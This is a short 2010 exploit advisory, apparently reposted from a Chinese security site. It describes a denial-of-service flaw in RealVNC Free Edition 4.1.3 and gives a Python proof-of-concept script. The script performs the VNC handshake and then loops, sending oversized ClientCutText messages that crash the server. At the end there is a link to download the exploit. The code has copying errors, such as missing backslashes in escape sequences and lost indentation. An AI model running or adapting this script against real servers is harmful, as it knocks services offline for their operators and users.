Vulnerability............Denial-of-Service
Software.................RealVNC VNC Server Free Edition 4.1.3
Download.................http://www.realvnc.com/products/free/4.1/download.html
Date.....................5/2/10
Site.....................http://cross-site-scripting.blogspot.com/
[email protected]
##Description#
Sending a ClientCutText Message with a length of 0xFFFFFFFF crashes the server with the
exception shown below. Note: while the vulnerability is present regardless of authentication,
for the sake of simplicity this script only works on servers configured to run with no
authentication.
winvnc4.exe: The instruction at 0x425BE4 referenced memory at 0xFFFFFF00. The memory could not
be written (0x00425BE4 -> FFFFFF00)
##Proof of Concept#
import sys, struct, socket
host ='localhost'
port = 5900
def crash_vnc_server():
try:
while 1:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.settimeout(1.0)
print 'Connected'
try:
b = s.recv(8192)
print 'ProtocolVersion Received'
s.send(b)
print 'ProtocolVersion Sent'
b = s.recv(8192)
print 'Security Received'
s.send('x01')
print 'Security Sent'
# Recv SecurityResult
b = s.recv(8192)
print 'SecurityResult Received'
if (len(b) == 4 and
b[0] == chr(0) and
b[1] == chr(0) and
b[2] == chr(0) and
b[3] == chr(0)):
print 'SecurityResult OK'
else:
print 'SecurityResult Failed.nnThe server must be set '
'to No Authentication for this to work, otherwise '
'you 'll need to write the necessary client side '
'authentication code yourself.'
return
s.send('x01')
print 'ClientInit Sent'
b = s.recv(8192)
print 'ServerInit Received'
text_len = 0xFFFFFF
text_str = struct.pack('L', text_len) + 'xAA' * text_len
while 1:
s.send('x06x00x00x00' + text_str)
print 'ClientCutText Sent'
except Exception:
print 'Connection closed'
except Exception:
print 'Couldn't connect'
crash_vnc_server()
漏洞利用程序下载地址:
http://www.uudisc.com/filedownload?user=nuclearatk&id=3090827
文章来源于lcx.cc:【Poc】VNC4.1.3溢出漏洞利用代码
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